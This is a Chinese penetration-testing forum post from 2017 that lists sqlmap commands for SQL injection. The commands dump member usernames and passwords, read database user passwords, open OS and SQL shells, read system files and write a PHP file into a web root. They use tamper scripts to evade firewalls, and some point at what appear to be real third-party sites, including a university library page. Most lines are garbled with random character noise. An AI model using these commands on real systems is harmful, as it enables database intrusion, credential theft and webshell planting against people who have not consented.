中国网络渗透测试联盟

标题: sqlmap使用实例 [打印本页]

作者: admin    时间: 2017-5-19 17:03
标题: sqlmap使用实例
/pentest/database/sqlmap
9 ^; f" Z3 j6 ~- C# Z
. g- e4 @1 F- h/ vupdate :::::>     in the folder   after  execute    following   order : svn update
/ k; E; @& b6 p6 K! H1 E6 G6 D3 ~
0 A# U# |5 P/ L  B7 K- bsqlmap.py -r 1.txt --current-db
. ?& w: s; c! x; v/ P. D7 p) T* n) d* Y1 U) [5 M2 d* ]' v
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
* R$ n/ r+ ]9 H: k# E( T* n3 _% x7 r/ W; y. {  J$ H, b  a
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) - w7 {9 C+ m$ G4 Q& z+ o& W( G
猜解数据库6 Y7 L2 j3 d4 E* S# d
./sqlmap.py -u "injection-url" --dbs# i2 i0 L) Q2 r* \! x) B+ R
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
" C+ |# m, _+ j" q1 n$ X5 T
* j$ Q2 }+ G8 V猜解表名
1 o" F: O6 J! `, l./sqlmap.py -u "injection-url" -D database_name --tables
$ Q! P- c& ?/ c# u
' M5 }% Q2 R* ^- Dsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"6 v* e+ n6 R) N9 G2 u1 @. `
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
1 _9 ^8 D- U5 k2 W- G2 B) Z+ X
. p4 d6 j8 Y; o0 c8 s4 _: w( Ysqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
" A8 z% L) Q; W
4 W/ h3 }7 U3 Q% g. Ksqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
7 Q* o. D# R8 v  |) y! Osqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"% e. H  V. ]; R( d! ^
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 8 I: m( o0 P# V$ G- p
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"0 f( a5 p+ h6 l& N+ x5 f6 h$ i- `
* Z& _. B& k" L& c
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"- X: u  T! k0 V
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py") g/ h# ~1 A( Q8 M. l$ [
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"+ W2 z0 A( h1 Z. T" @
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
& ^  a8 f) e2 z( ~' f3 z+ Nsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump( q/ Y8 D# ^# {6 r9 [( i

  j# _1 |' O" W! isqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了6 y9 `# R* S' M; `( [3 S! {
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
( k& B6 h- M' x% B" @. O( e
3 u3 d# j& D# f: y* Rsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"1 L" k7 h7 g- }* e
猜解列名
, p7 J, ^% z0 v+ D# i8 ]./sqlmap.py -u "injection-url" -D database_name -T table_name --columns. |5 d- [0 F/ }$ x: E7 W+ q$ A

+ u' J3 Z3 E5 [$ p' P5 Isqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
3 p4 y- H) ~5 h8 }  \sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 3 `2 h  V+ j% t" L3 ]' l+ p8 G. M
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
) I, {% O4 W1 h8 K
3 c. \. E. j' {& S! ssqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"+ r* t) F; U6 G8 W: h& b. t7 |
&submit=Go
* C5 ~0 I- }+ Q; l猜解值
; `4 ?( {' a) k- M1 ?0 E9 Q./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
3 M( }9 f2 A1 {# D========================================================
3 O+ [8 U0 @. s  I搜索表名中包括mana字符的
+ ^6 }& O2 z, y% z" C9 f4 A1 n8 N( |/sqlmap.py -u "injection-url" -T mana --search
4 @+ k- p  I- o% c* b返回一个交互式sql shell
. i% S6 ]: q- g3 [  V6 R" f/sqlmap.py -u "injection-url" --sql-shell
3 |7 q+ w: l9 Z/ i8 b; x$ K8 j读取指定文件(需权限)  j0 g  H' `5 K' a5 ^
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
9 ~& L" g3 C% l$ p" o# {8 H6 p查看当前 用户 及 数据库
0 G9 i2 c2 D1 y# N# ~3 o/sqlmap.py -u "injection-url" --current-user --current-db/ \8 N: m! U$ s5 b5 R; h
本地文件 写入 远程目标绝对路径
8 e/ o6 H" z1 d) |- i$ c/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径  y& M& a$ {2 G- l7 H7 h( X
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
  K* h$ U( |( ?1 P! k
! W8 i3 w! X! j5 O7 lsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
) t5 D2 a; @/ Q: \$ p' E  [: U查看某用的权限
* k6 }- D: h# g9 K. p) I" [, Q4 @/sqlmap.py -u "injection-url" --privileges -U root
( }3 h& U- R+ I: U0 ?查看当前用户是否为dba& Q) E# ]' `* g% L
/sqlmap.py -u "injection-url" --is-dba7 l/ u! q5 g% U6 s* O5 q0 b2 G, h
读取所有数据库用户或指定数据库用户的密码
; |5 q; M3 l' _* V& d: Isqlmap.py -r 1.txt --users --passwords3 m' o2 x7 F# |, ~4 O& h
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
5 S( U; g' ~/ o" o8 f7 A2 m
6 V" M% g& B0 _( J( b) \# p/sqlmap.py -u "injection-url" --passwords -U root
- U/ t! Z. E( Y8 k8 _/ X$ W
  S4 l) g& V1 Q3 g( b$ L: L' H--start&&--stop 与 --first&&--last 的区别
2 h" v: H* ^- z* U( w9 l/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)- ^2 Q0 o# y. R2 z

6 Z8 z! z* U( N2 |1 Q1 W/ i7 w从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
; M; T9 g3 h0 h' q4 j/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
$ l/ m! R. S! l7 I7 d/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns7 s6 W2 [/ F' C8 k1 h
1 T2 H+ u8 q( `5 p; b
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……); `0 x  C& k9 N$ W
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
+ {# H1 i, r: l' k! f" z
, p0 v( _2 B. o9 V0 |/ W% F9 {




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2